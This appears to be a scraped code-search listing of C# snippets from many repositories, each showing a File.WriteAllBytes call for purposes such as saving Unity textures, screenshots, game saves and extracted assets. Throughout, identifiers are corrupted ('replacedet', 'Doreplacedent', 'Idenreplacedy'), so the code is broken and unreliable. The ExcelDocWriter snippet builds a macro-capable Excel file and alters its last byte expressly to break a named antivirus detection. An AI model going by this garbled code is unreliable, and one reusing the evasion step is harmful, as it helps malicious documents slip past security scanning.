			Debug.replacedertFormat(bytes.Length == fileSize, "Unexpected AudioClip to wav format byte count: {0} == {1}", bytes.Length, fileSize);

			// Save file to persistant storage location
			if (saveAsFile)
			{
				filepath = string.Format("{0}/{1}/{2}.{3}", Application.persistentDataPath, dirname, DateTime.UtcNow.ToString("yyMMdd-HHmmss-fff"), "wav");
				Directory.CreateDirectory(Path.GetDirectoryName(filepath));
				File.WriteAllBytes(filepath, bytes);
				//Debug.Log ("Auto-saved .wav file: " + filepath);
			}
			else
			{
				filepath = null;
			}

			stream.Dispose();

			return bytes;
		}

19 Source : UMAAvatarLoadSaveMenuItems.cs
with Apache License 2.0
from A7ocin

private static void SaveTexture2D(Texture2D texture, string textureName)
      {
         byte[] data = texture.EncodeToPNG();
         System.IO.File.WriteAllBytes(textureName, data);
      }

19 Source : FileUtils.cs
with Apache License 2.0
from A7ocin

public static void WriteAllBytes(string path, byte[] content)
		{
			System.IO.File.WriteAllBytes(path, content);
		}

19 Source : CircularMultipleColorGradientSkyboxGUI.cs
with MIT License
from aadebdeb

public override void OnGUI(MaterialEditor editor, MaterialProperty[] properties)
        {
            MaterialProperty norm = FindProperty("_Norm", properties);
            editor.ShaderProperty(norm, norm.displayName);

            Material material = editor.target as Material;
            string materialRelativePath = replacedetDatabase.GetreplacedetPath(material);

            if (gradientObject == null)
            {
                string objectRelativePath = materialRelativePath + ".replacedet";
                gradientObject = replacedetDatabase.LoadreplacedetAtPath<GradientObject>(objectRelativePath);
                if (gradientObject == null)
                {
                    gradientObject = ScriptableObject.CreateInstance<GradientObject>();
                    replacedetDatabase.Createreplacedet(gradientObject, objectRelativePath);
                    replacedetDatabase.Refresh();
                }
            }

            SerializedObject data = new SerializedObject(gradientObject);
            data.Update();
            SerializedProperty gradientProperty = data.FindProperty("gradient");
            Texture2D texture = null;

            EditorGUI.BeginChangeCheck();
            EditorGUILayout.PropertyField(gradientProperty);
            if (EditorGUI.EndChangeCheck())
            {
                data.ApplyModifiedProperties();
                texture = CreateRampTexture();
                texture.wrapMode = TextureWrapMode.Clamp;
                material.SetTexture("_RampTex", texture);
                isGradientSaved = false;
            }

            if (GUILayout.Button("Save Gradient"))
            {
                if (texture == null)
                {
                    texture = CreateRampTexture();
                }

                byte[] png = texture.EncodeToPNG();
                string textureRelativePath = materialRelativePath + ".png";
                string textureAbsolutePath = Path.Combine(Directory.GetCurrentDirectory(), textureRelativePath);
                File.WriteAllBytes(textureAbsolutePath, png);

                TextureImporter textureImporter = replacedetImporter.GetAtPath(textureRelativePath) as TextureImporter;
                textureImporter.wrapMode = TextureWrapMode.Clamp;
                replacedetDatabase.Importreplacedet(textureRelativePath);

                Texture2D savedTexture = replacedetDatabase.LoadreplacedetAtPath<Texture2D>(textureRelativePath);
                material.SetTexture("_RampTex", savedTexture);

                isGradientSaved = true;
            }

            if (!isGradientSaved)
            {
                EditorGUILayout.HelpBox("Changes to gradient has not saved yet.", MessageType.Warning);
            }
        }

19 Source : BRDFLookupTextureInspector.cs
with Apache License 2.0
from A7ocin

private static Texture2D PersistLookupTexture (string replacedetName, Texture2D tex)
		{
			if (!System.IO.Directory.Exists (kDirectoryName))
				System.IO.Directory.CreateDirectory (kDirectoryName);	

			string replacedetPath = System.IO.Path.Combine (kDirectoryName, replacedetName + "." + kExtensionName);
			bool newreplacedet = !System.IO.File.Exists (replacedetPath);
			
			System.IO.File.WriteAllBytes (replacedetPath, tex.EncodeToPNG());
			replacedetDatabase.Importreplacedet (replacedetPath, ImportreplacedetOptions.ForceUpdate);

			TextureImporter texSettings = replacedetImporter.GetAtPath (replacedetPath) as TextureImporter;
			if (!texSettings)
			{
				// workaround for bug when importing first generated texture in the project
				replacedetDatabase.Refresh ();
				replacedetDatabase.Importreplacedet (replacedetPath, ImportreplacedetOptions.ForceUpdate);
				texSettings = replacedetImporter.GetAtPath (replacedetPath) as TextureImporter;
			}
			texSettings.textureCompression = TextureImporterCompression.Uncompressed;                             
			texSettings.wrapMode = TextureWrapMode.Clamp;
			if (newreplacedet)
				replacedetDatabase.Importreplacedet (replacedetPath, ImportreplacedetOptions.ForceUpdate);
			
			replacedetDatabase.Refresh ();
			
			Texture2D newTex = replacedetDatabase.LoadreplacedetAtPath (replacedetPath, typeof(Texture2D)) as Texture2D;		
			return newTex;
		}

19 Source : ExcelDocWriter.cs
with Apache License 2.0
from aaaddress1

public void WriteDoreplacedent(string filePath, byte[] wbBytes, VBAInfo vbaInfo = null)
        {
            CompoundFile cf = new CompoundFile();
            if (vbaInfo != null)
            {
                vbaInfo.AddToCompoundFile(cf);
            }
            
            //Can be Book or Workbook
            CFStream workbookStream = cf.RootStorage.AddStream("Workbook");
     
            workbookStream.Write(wbBytes, 0);

            OLEPropertiesContainer dsiContainer = new OLEPropertiesContainer(1252, ContainerType.DoreplacedentSummaryInfo);
            OLEPropertiesContainer siContainer = new OLEPropertiesContainer(1252, ContainerType.SummaryInfo);
            //TODO [Stealth] Fill these streams with the expected data information, don't leave them empty
            CFStream dsiStream = cf.RootStorage.AddStream("\u0005DoreplacedentSummaryInformation");

            byte[] cfStreamBytes = new byte[]
            {
                0xFE, 0xFF, 0x00, 0x00, 0x06, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x85, 0x9F, 0xF2, 0xF9, 0x4F,
                0x68, 0x10, 0xAB, 0x91, 0x08, 0x00, 0x2B, 0x27, 0xB3, 0xD9, 0x30, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00,
                0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
                0x48, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x78,
                0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x9C, 0x00,
                0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xE4, 0x04, 0x00,
                0x00, 0x1E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20,
                0x55, 0x73, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x57,
                0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x55, 0x73, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00,
                0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x45,
                0x78, 0x63, 0x65, 0x6C, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0x45, 0xA1, 0x6B, 0x7B, 0x93, 0xD6, 0x01,
                0x40, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x32, 0xDA, 0x7C, 0x93, 0xD6, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            };

            dsiContainer.Save(dsiStream);

            CFStream siStream = cf.RootStorage.AddStream("\u0005SummaryInformation");
            // siStream.SetData(cfStreamBytes);
            siContainer.Save(siStream);
            
            cf.Save(filePath);

            // Break the Thardewm.B detection for smaller files =)
            byte[] excelDocBytes = File.ReadAllBytes(filePath);
            excelDocBytes[^1] = 0xFF;
            File.WriteAllBytes(filePath, excelDocBytes);
        }

19 Source : TfsLogWriter.cs
with MIT License
from aabiryukov

private static void DownloadAvatars(IIdenreplacedyManagementService2 idenreplacedyService, string outputAvatarsDir, IEnumerable<string> commiters)
		{
			var invalidFileChars = new []{'\\', ',', '/', '<', '>', '?', '|', ':', '*'};

			var searchCommiters1 = new string[1];
			foreach (var commiter in commiters)
			{
				if(string.IsNullOrEmpty(commiter) || commiter.IndexOfAny(invalidFileChars) >= 0)
					continue;

				var imagePath = Path.Combine(outputAvatarsDir, commiter + ".png");
				if (File.Exists(imagePath))
				{
					if ((DateTime.Now - File.GetLastWriteTime(imagePath)).TotalHours < 24)
						continue;

					// File is expired
					File.Delete(imagePath);
				}

				searchCommiters1[0] = commiter;
				var idenreplacedies = idenreplacedyService.ReadIdenreplacedies(IdenreplacedySearchFactor.DisplayName,
					searchCommiters1, MembershipQuery.Expanded, ReadIdenreplacedyOptions.ExtendedProperties);

				if (idenreplacedies == null || !idenreplacedies.Any()) 
					continue;

				foreach (var idenreplacedy in idenreplacedies[0])
				{
					object imageData;
					if (!idenreplacedy.TryGetProperty("Microsoft.TeamFoundation.Idenreplacedy.Image.Data", out imageData))
						continue;

					var imageBytes = imageData as byte[];
					if (imageBytes == null)
						continue;

					//			var imageFormat = GetImageFormat(imageBytes);
					//			Trace.WriteLine(imageFormat);
					File.WriteAllBytes(imagePath, imageBytes);
					
					break;
				}
			}
		}

19 Source : LinearMultipleColorGradientSkyboxGUI.cs
with MIT License
from aadebdeb

public override void OnGUI(MaterialEditor materialEditor, MaterialProperty[] properties)
        {
            Material material = materialEditor.target as Material;
            string materialRelativePath = replacedetDatabase.GetreplacedetPath(material);

            if (gradientObject == null)
            {
                string objectRelativePath = materialRelativePath + ".replacedet";
                gradientObject = replacedetDatabase.LoadreplacedetAtPath<GradientObject>(objectRelativePath);
                if (gradientObject == null)
                {
                    gradientObject = ScriptableObject.CreateInstance<GradientObject>();
                    replacedetDatabase.Createreplacedet(gradientObject, objectRelativePath);
                    replacedetDatabase.Refresh();
                }
            }

            SerializedObject data = new SerializedObject(gradientObject);
            data.Update();
            SerializedProperty gradientProperty = data.FindProperty("gradient");
            Texture2D texture = null;

            EditorGUI.BeginChangeCheck();
            EditorGUILayout.PropertyField(gradientProperty);
            if (EditorGUI.EndChangeCheck())
            {
                data.ApplyModifiedProperties();
                texture = CreateRampTexture();
                texture.wrapMode = TextureWrapMode.Clamp;
                material.SetTexture("_RampTex", texture);
                isGradientSaved = false;
            }

            if (GUILayout.Button("Save Gradient"))
            {
                if (texture == null)
                {
                    texture = CreateRampTexture();
                }

                byte[] png = texture.EncodeToPNG();
                string textureRelativePath = materialRelativePath + ".png";
                string textureAbsolutePath = Path.Combine(System.IO.Directory.GetCurrentDirectory(), textureRelativePath);
                File.WriteAllBytes(textureAbsolutePath, png);

                TextureImporter textureImporter = replacedetImporter.GetAtPath(textureRelativePath) as TextureImporter;
                textureImporter.wrapMode = TextureWrapMode.Clamp;
                replacedetDatabase.Importreplacedet(textureRelativePath);

                Texture2D savedTexture = replacedetDatabase.LoadreplacedetAtPath<Texture2D>(textureRelativePath);
                material.SetTexture("_RampTex", savedTexture);

                isGradientSaved = true;
            }

            if (!isGradientSaved)
            {
                EditorGUILayout.HelpBox("Changes to gradient has not saved yet.", MessageType.Warning);
            }

        }

19 Source : RepositorySaveData.cs
with Apache License 2.0
from AantCoder

public void SavePlayerData(string login, byte[] data, bool single)
        {
            if (data == null || data.Length < 10) return;

            var fileNameBase = GetFileNameBase(login);
            var pFiles = GetListPlayerFiles(login);
            if (single)
            {
                if (pFiles.Count > 0)
                {
                    if (File.Exists(pFiles[0] + ".bak")) File.Delete(pFiles[0] + ".bak");
                    File.Move(pFiles[0], pFiles[0] + ".bak");
                }
                for (int i = 1; i < pFiles.Count; i++) File.Delete(pFiles[i]);
            }
            else
            {
                //Делаем так, чтобы в pFiles[pFiles.Count - 1] было имя файла которого нет
                if (pFiles.Count == CountSaveDataPlayer)
                {
                    File.Delete(pFiles[pFiles.Count - 1]);
                }
                else
                {
                    pFiles.Add(fileNameBase + (pFiles.Count + 1).ToString());
                }
                for (int i = pFiles.Count - 2; i >= 0 ; i--)
                {
                    File.Move(pFiles[i], pFiles[i + 1]);
                }
            }

            var fileName = fileNameBase + "1";

            byte[] dataToSave;
            if (true)
            {
                dataToSave = GZip.ZipByteByte(data);
            }
            else
            {
                dataToSave = data;
            }

            File.WriteAllBytes(fileName, dataToSave);
            Loger.Log("Server User " + Path.GetFileNameWithoutExtension(fileName) + " saved.");
        }

19 Source : DataBaseManager.cs
with MIT License
from Abdesol

public string ExportData(string path)
        {
            if (Path.GetExtension(path) != ".whl") return "This type of file are not supported!";
            _db.Close();
            var bytes = File.ReadAllBytes(dbpath);
            File.WriteAllBytes(path, bytes);
            OpenDB();

            return "Successfully exported your codes!";
        }

19 Source : DataBaseManager.cs
with MIT License
from Abdesol

public string ImportData(string path)
        {
            _db.Close();
            var currentData = File.ReadAllBytes(dbpath);

            var importingData = File.ReadAllBytes(path);
            File.WriteAllBytes(dbpath, importingData);
            try
            {
                OpenDB();
            }
            catch
            {
                _db.Close();
                File.WriteAllBytes(dbpath, currentData);
                OpenDB();
                return "Your syncing file is corrupted! We are unable to sync your codes!";
            }
            return "Successfully imported your codes!";
        }

19 Source : OVRCubemapCapture.cs
with MIT License
from absurd-joy

public static bool SaveCubemapCapture(Cubemap cubemap, string pathName = null)
	{
		string fileName;
		string dirName;
		int width = cubemap.width;
		int height = cubemap.height;
		int x = 0;
		int y = 0;
		bool saveToPNG = true;

		if (string.IsNullOrEmpty(pathName))
		{
			dirName = Application.persistentDataPath + "/OVR_ScreenShot360/";
			fileName = null;
		}
		else
		{
			dirName = Path.GetDirectoryName(pathName);
			fileName = Path.GetFileName(pathName);

			if (dirName[dirName.Length - 1] != '/' || dirName[dirName.Length - 1] != '\\')
				dirName += "/";
		}

		if (string.IsNullOrEmpty(fileName))
			fileName = "OVR_" + System.DateTime.Now.ToString("hh_mm_ss") + ".png";

		string extName = Path.GetExtension(fileName);
		if (extName == ".png")
		{
			saveToPNG = true;
		}
		else if (extName == ".jpg")
		{
			saveToPNG = false;
		}
		else
		{
            Debug.LogError("Unsupported file format" + extName);
			return false;
		}

		// Validate path
		try
		{
			System.IO.Directory.CreateDirectory(dirName);
		}
		catch (System.Exception e)
		{
            Debug.LogError("Failed to create path " + dirName + " since " + e.ToString());
			return false;
		}


		// Create the new texture
		Texture2D tex = new Texture2D(width * 6, height, TextureFormat.RGB24, false);
		if (tex == null)
		{
			Debug.LogError("[OVRScreenshotWizard] Failed creating the texture!");
			return false;
		}

		// Merge all the cubemap faces into the texture
		// Reference cubemap format: http://docs.unity3d.com/Manual/clreplaced-Cubemap.html
		CubemapFace[] faces = new CubemapFace[] { CubemapFace.PositiveX, CubemapFace.NegativeX, CubemapFace.PositiveY, CubemapFace.NegativeY, CubemapFace.PositiveZ, CubemapFace.NegativeZ };
		for (int i = 0; i < faces.Length; i++)
		{
			// get the pixels from the cubemap
			Color[] srcPixels = null;
			Color[] pixels = cubemap.GetPixels(faces[i]);
			// if desired, flip them as they are ordered left to right, bottom to top
			srcPixels = new Color[pixels.Length];
			for (int y1 = 0; y1 < height; y1++)
			{
				for (int x1 = 0; x1 < width; x1++)
				{
					srcPixels[y1 * width + x1] = pixels[((height - 1 - y1) * width) + x1];
				}
			}
			// Copy them to the dest texture
			tex.SetPixels(x, y, width, height, srcPixels);
			x += width;
		}

        try
        {
            // Encode the texture and save it to disk
            byte[] bytes = saveToPNG ? tex.EncodeToPNG() : tex.EncodeToJPG();

            System.IO.File.WriteAllBytes(dirName + fileName, bytes);
            Debug.Log("Cubemap file created " + dirName + fileName);
        }
        catch (System.Exception e)
        {
            Debug.LogError("Failed to save cubemap file since " + e.ToString());
			return false;
        }

		DestroyImmediate(tex);
		return true;
	}

19 Source : FSBuilder.cs
with Apache License 2.0
from acblog

public static void EnsureFileExists(string path, bool isExists = true, byte[]? initialData = null)
        {
            if (isExists)
            {
                if (!File.Exists(path))
                {
                    var par = Path.GetDirectoryName(path);
                    if (!string.IsNullOrWhiteSpace(par))
                        EnsureDirectoryExists(par);
                    File.WriteAllBytes(path, initialData ?? Array.Empty<byte>());
                }
            }
            else
            {
                if (File.Exists(path))
                {
                    File.Delete(path);
                }
            }
        }

19 Source : DatDatabase.cs
with GNU Affero General Public License v3.0
from ACEmulator

public void ExtractCategorizedPortalContents(string path)
        {
            foreach (KeyValuePair<uint, DatFile> entry in AllFiles)
            {
                string thisFolder;

                if (entry.Value.GetFileType(DatDatabaseType.Portal) != null)
                    thisFolder = Path.Combine(path, entry.Value.GetFileType(DatDatabaseType.Portal).ToString());
                else
                    thisFolder = Path.Combine(path, "UnknownType");

                if (!Directory.Exists(thisFolder))
                    Directory.CreateDirectory(thisFolder);

                string hex = entry.Value.ObjectId.ToString("X8");
                string thisFile = Path.Combine(thisFolder, hex + ".bin");

                // Use the DatReader to get the file data
                DatReader dr = GetReaderForFile(entry.Value.ObjectId);

                File.WriteAllBytes(thisFile, dr.Buffer);
            }
        }

19 Source : CellDatDatabase.cs
with GNU Affero General Public License v3.0
from ACEmulator

public void ExtractLandblockContents(string path)
        {
            foreach (KeyValuePair<uint, DatFile> entry in AllFiles)
            {
                string thisFolder = Path.Combine(path, (entry.Value.ObjectId >> 16).ToString("X4"));

                if (!Directory.Exists(thisFolder))
                    Directory.CreateDirectory(thisFolder);

                // Use the DatReader to get the file data - file blocks can extend over block size.
                DatReader dr = GetReaderForFile(entry.Value.ObjectId);

                string hex = entry.Value.ObjectId.ToString("X8");
                string thisFile = Path.Combine(thisFolder, hex + ".bin");
                File.WriteAllBytes(thisFile, dr.Buffer);
            }
        }

19 Source : ScreenshotTaker.cs
with Apache License 2.0
from activey

void OnGUI()
	{
		EditorGUILayout.LabelField ("Resolution", EditorStyles.boldLabel);
		resWidth = EditorGUILayout.IntField ("Width", resWidth);
		resHeight = EditorGUILayout.IntField ("Height", resHeight);

		EditorGUILayout.Space();

		scale = EditorGUILayout.IntSlider ("Scale", scale, 1, 15);

		EditorGUILayout.HelpBox("The default mode of screenshot is crop - so choose a proper width and height. The scale is a factor " +
			"to multiply or enlarge the renders without loosing quality.",MessageType.None);

		
		EditorGUILayout.Space();
		
		
		GUILayout.Label ("Save Path", EditorStyles.boldLabel);

		EditorGUILayout.BeginHorizontal();
		EditorGUILayout.TextField(path,GUILayout.ExpandWidth(false));
		if(GUILayout.Button("Browse",GUILayout.ExpandWidth(false)))
			path = EditorUtility.SaveFolderPanel("Path to Save Images",path,Application.dataPath);

		EditorGUILayout.EndHorizontal();

		EditorGUILayout.HelpBox("Choose the folder in which to save the screenshots ",MessageType.None);
		EditorGUILayout.Space();



		//isTransparent = EditorGUILayout.Toggle(isTransparent,"Transparent Background");



		GUILayout.Label ("Select Camera", EditorStyles.boldLabel);


		myCamera = EditorGUILayout.ObjectField(myCamera, typeof(Camera), true,null) as Camera;


		if(myCamera == null)
		{
			myCamera = Camera.main;
		}

		isTransparent = EditorGUILayout.Toggle("Transparent Background", isTransparent);


		EditorGUILayout.HelpBox("Choose the camera of which to capture the render. You can make the background transparent using the transparency option.",MessageType.None);

		EditorGUILayout.Space();
		EditorGUILayout.BeginVertical();
		EditorGUILayout.LabelField ("Default Options", EditorStyles.boldLabel);


		if(GUILayout.Button("Set To Screen Size"))
		{
			resHeight = (int)Handles.GetMainGameViewSize().y;
			resWidth = (int)Handles.GetMainGameViewSize().x;
		
		}


		if(GUILayout.Button("Default Size"))
		{
			resHeight = 1440;
			resWidth = 2560;
			scale = 1;
		}



		EditorGUILayout.EndVertical();

		EditorGUILayout.Space();
		EditorGUILayout.LabelField ("Screenshot will be taken at " + resWidth*scale + " x " + resHeight*scale + " px", EditorStyles.boldLabel);

		if(GUILayout.Button("Take Screenshot",GUILayout.MinHeight(60)))
		{
			if(path == "")
			{
				path = EditorUtility.SaveFolderPanel("Path to Save Images",path,Application.dataPath);
				Debug.Log("Path Set");
				TakeHiResShot();
			}
			else
			{
				TakeHiResShot();
			}
		}

		EditorGUILayout.Space();
		EditorGUILayout.BeginHorizontal();

		if(GUILayout.Button("Open Last Screenshot",GUILayout.MaxWidth(160),GUILayout.MinHeight(40)))
		{
			if(lastScreenshot != "")
			{
				Application.OpenURL("file://" + lastScreenshot);
				Debug.Log("Opening File " + lastScreenshot);
			}
		}

		if(GUILayout.Button("Open Folder",GUILayout.MaxWidth(100),GUILayout.MinHeight(40)))
		{

			Application.OpenURL("file://" + path);
		}

		if(GUILayout.Button("More replacedets",GUILayout.MaxWidth(100),GUILayout.MinHeight(40)))
		{
			Application.OpenURL("https://www.replacedetstore.unity3d.com/en/#!/publisher/5951");
		}

		EditorGUILayout.EndHorizontal();


		if (takeHiResShot) 
		{
			int resWidthN = resWidth*scale;
			int resHeightN = resHeight*scale;
			RenderTexture rt = new RenderTexture(resWidthN, resHeightN, 24);
			myCamera.targetTexture = rt;

			TextureFormat tFormat;
			if(isTransparent)
				tFormat = TextureFormat.ARGB32;
			else
				tFormat = TextureFormat.RGB24;


			Texture2D screenShot = new Texture2D(resWidthN, resHeightN, tFormat,false);
			myCamera.Render();
			RenderTexture.active = rt;
			screenShot.ReadPixels(new Rect(0, 0, resWidthN, resHeightN), 0, 0);
			myCamera.targetTexture = null;
			RenderTexture.active = null; 
			byte[] bytes = screenShot.EncodeToPNG();
			string filename = ScreenShotName(resWidthN, resHeightN);
			
			System.IO.File.WriteAllBytes(filename, bytes);
			Debug.Log(string.Format("Took screenshot to: {0}", filename));
			Application.OpenURL(filename);
			takeHiResShot = false;
		}

		EditorGUILayout.HelpBox("In case of any error, make sure you have Unity Pro as the plugin requires Unity Pro to work.",MessageType.Info);


	}

19 Source : MainActivity.cs
with MIT License
from adamped

protected override void OnCreate(Bundle bundle)
		{
			TabLayoutResource = Resource.Layout.Tabbar;
			ToolbarResource = Resource.Layout.Toolbar;

			base.OnCreate(bundle);

			Forms.Init(this, bundle);

			// Copy image from replacedets and place in DataDirectory on Android.

			using (var stream = replacedets.OpenFd("image.upng"))
			using (var readStream = replacedets.Open("image.upng"))
			using (var memoryStream = new MemoryStream())
			{
				byte[] buffer = new byte[stream.Length];
				int read;
				while ((read = readStream.Read(buffer, 0, buffer.Length)) > 0)
				{
					memoryStream.Write(buffer, 0, read);
				}
				var data = memoryStream.ToArray();
				var path = Path.Combine(Environment.ExternalStorageDirectory.AbsolutePath, "image.png");
				System.IO.File.WriteAllBytes(path, data);

			}


			DependencyService.Register<FileStore>();
			DependencyService.Register<Share>();
			LoadApplication(new App());
		}

19 Source : Extensions.cs
with MIT License
from Adoxio

public static void WriteAllBytes(this RetryPolicy retryPolicy, string path, byte[] bytes)
		{
			retryPolicy.ExecuteAction(() => File.WriteAllBytes(path, bytes));
		}

19 Source : Virtualizer.cs
with GNU General Public License v3.0
from Aekras1a

public string SaveRuntime(string directory)
        {
            var rtPath = Path.Combine(directory, runtimeName + ".dll");

            File.WriteAllBytes(rtPath, Runtime.RuntimeLibrary);
            if(Runtime.RuntimeSymbols.Length > 0)
                File.WriteAllBytes(Path.ChangeExtension(rtPath, "pdb"), Runtime.RuntimeSymbols);
            return rtPath;
        }

19 Source : MarkPhase.cs
with GNU General Public License v3.0
from Aekras1a

public void OnWriterEvent(object sender, ModuleWriterListenerEventArgs e)
            {
                var writer = (ModuleWriter) sender;
                if(commitListener != null)
                    commitListener.OnWriterEvent(writer, e.WriterEvent);

                if(e.WriterEvent == ModuleWriterEvent.MDBeginWriteMethodBodies && methods.ContainsKey(writer.Module))
                {

                    vr.ProcessMethods(writer.Module, (num, total) =>
                    {
                        ctx.Logger.Progress(num, total);
                        ctx.CheckCancellation();
                    });
                    ctx.Logger.EndProgress();

                    foreach(var repl in refRepl)
                        vr.Runtime.Descriptor.Data.ReplaceReference(repl.Key, repl.Value);

                    commitListener = vr.CommitModule(ctx.CurrentModule, (num, total) =>
                    {
                        ctx.Logger.Progress(num, total);
                        ctx.CheckCancellation();
                    });
                }
                else if(commitListener != null && e.WriterEvent == ModuleWriterEvent.End && vr.ExportDbgInfo)
                {
                    var mapName = Path.ChangeExtension(writer.Module.Name, "map");
                    var mapPath = Path.GetFullPath(Path.Combine(ctx.OutputDirectory, mapName));
                    Directory.CreateDirectory(ctx.OutputDirectory);
                    File.WriteAllBytes(mapPath, vr.Runtime.DebugInfo);
                }
            }

19 Source : RCManager.cs
with GNU General Public License v3.0
from aelariane

public static IEnumerator Downloadreplacedets()
        {
            if (Loaded)
            {
                yield break;
            }
            if (File.Exists(CachePath))
            {
                var req = replacedetBundle.CreateFromMemory(File.ReadAllBytes(CachePath));
                yield return req;
                if (req == null || req.replacedetBundle == null) { }
                else
                {
                    replacedet = req.replacedetBundle;
                    Loaded = true;
                    yield break;
                }
            }
            WWW www = new WWW(DownloadPath);
            yield return www;
            if (www.replacedetBundle != null)
            {
                replacedet = www.replacedetBundle;
                File.WriteAllBytes(CachePath, www.bytes);
                Loaded = true;
            }
        }

19 Source : Program.cs
with MIT License
from AElfProject

private static void Run(Options o)
        {
            string saveAsPath;

            if (!File.Exists(o.ContractDllPath))
            {
                Console.WriteLine($"error: Contract DLL cannot be found in specified path {o.ContractDllPath}");
                return;
            }

            if (o.Overwrite)
            {
                saveAsPath = o.ContractDllPath;
                Console.WriteLine($"[CONTRACT-PATCHER] Overwriting {saveAsPath}");
            }
            else
            {
                saveAsPath = o.ContractDllPath + ".patched";
                Console.WriteLine($"[CONTRACT-PATCHER] Saving as {saveAsPath}");
            }
            
            using var application = AbpApplicationFactory.Create<ContractDeployerModule>();
            application.Initialize();
            var contractPatcher = application.ServiceProvider.GetRequiredService<IContractPatcher>();
            var patchedCode = contractPatcher.Patch(File.ReadAllBytes(o.ContractDllPath), o.IsSystemContract);

            if (!o.SkipAudit)
            {
                try
                {
                    var auditor = application.ServiceProvider.GetRequiredService<IContractAuditor>();
                    auditor.Audit(patchedCode, null, o.IsSystemContract);
                }
                catch (CSharpCodeCheckException ex)
                {
                    foreach (var finding in ex.Findings)
                    {
                        // Print error in parsable format so that it can be shown in IDE
                        Console.WriteLine($"error: {finding.ToString()}");
                    }
                }                
            }

            File.WriteAllBytes(saveAsPath, patchedCode);
        }

19 Source : ContractsDeployerTests.cs
with MIT License
from AElfProject

private void PatchContractCode(string name)
        {
            var patchedCode = _contractPatcher.Patch(GetContactCode(name), true);
            var path = Path.Combine(Environment.CurrentDirectory, name + ".dll.patched");
            File.WriteAllBytes(path, patchedCode);
        }

19 Source : Utils.cs
with Apache License 2.0
from aequabit

public static string WriteTempData(byte[] data)
        {
            if (data == null)
            {
                throw new ArgumentNullException("data");
            }
            string path = null;
            try
            {
                path = Path.GetTempFileName();
            }
            catch (IOException)
            {
                path = Path.Combine(Directory.GetCurrentDirectory(), Path.GetRandomFileName());
            }
            try
            {
                File.WriteAllBytes(path, data);
            }
            catch
            {
                path = null;
            }
            return path;
        }

19 Source : Program.cs
with GNU General Public License v3.0
from Aeroblast

static void DumpHDImage(string[] args)
        {
            Log.log("Dump azw.res");
            Log.log("azw6 source:" + args[0]);
            string outputdir = "";
            if (!File.Exists(args[0])) { Log.log("File was not found:" + args[0]); return; }
            Azw6File azw = new Azw6File(args[0]);
            if (args.Length >= 3) outputdir = args[1];
            else { outputdir = Path.Combine(Path.GetDirectoryName(args[0]), Util.FilenameCheck(azw.header.replacedle)); }
            if (!CreateDirectory(outputdir)) { return; }
            foreach (var a in azw.image_sections)
            {
                CRES_Section sec = (CRES_Section)azw.sections[a];
                string filename = Epub.ImageNameHD(a - 1, sec);
                File.WriteAllBytes(Path.Combine(outputdir, filename), sec.img);
                Log.log("Saved:" + Path.Combine(outputdir, filename));
            }
        }

19 Source : EmbedAssembly.cs
with Apache License 2.0
from aequabit

public static void Load(string embeddedResource, string fileName)
    {
        if (dic == null)
            dic = new Dictionary<string, replacedembly>();

        byte[] ba = null;
        replacedembly asm = null;
        replacedembly curAsm = replacedembly.GetExecutingreplacedembly();

        using (Stream stm = curAsm.GetManifestResourceStream(embeddedResource))
        {
            // Either the file is not existed or it is not mark as embedded resource
            if (stm == null)
                throw new Exception(embeddedResource + " is not found in Embedded Resources.");

            // Get byte[] from the file from embedded resource
            ba = new byte[(int)stm.Length];
            stm.Read(ba, 0, (int)stm.Length);
            try
            {
                asm = replacedembly.Load(ba);

                // Add the replacedembly/dll into dictionary
                dic.Add(asm.FullName, asm);
                return;
            }
            catch
            {
                // Purposely do nothing
                // Unmanaged dll or replacedembly cannot be loaded directly from byte[]
                // Let the process fall through for next part
            }
        }

        bool fileOk = false;
        string tempFile = "";

        using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider())
        {
            // Get the hash value from embedded DLL/replacedembly
            string fileHash = BitConverter.ToString(sha1.ComputeHash(ba)).Replace("-", string.Empty);

            // Define the temporary storage location of the DLL/replacedembly
            tempFile = Path.GetTempPath() + fileName;

            // Determines whether the DLL/replacedembly is existed or not
            if (File.Exists(tempFile))
            {
                // Get the hash value of the existed file
                byte[] bb = File.ReadAllBytes(tempFile);
                string fileHash2 = BitConverter.ToString(sha1.ComputeHash(bb)).Replace("-", string.Empty);

                // Compare the existed DLL/replacedembly with the Embedded DLL/replacedembly
                if (fileHash == fileHash2)
                {
                    // Same file
                    fileOk = true;
                }
                else
                {
                    // Not same
                    fileOk = false;
                }
            }
            else
            {
                // The DLL/replacedembly is not existed yet
                fileOk = false;
            }
        }

        // Create the file on disk
        if (!fileOk)
        {
            System.IO.File.WriteAllBytes(tempFile, ba);
        }

        // Load it into memory
        asm = replacedembly.LoadFile(tempFile);

        // Add the loaded DLL/replacedembly into dictionary
        dic.Add(asm.FullName, asm);
    }

19 Source : ConnectionManager.cs
with GNU General Public License v3.0
from affederaffe

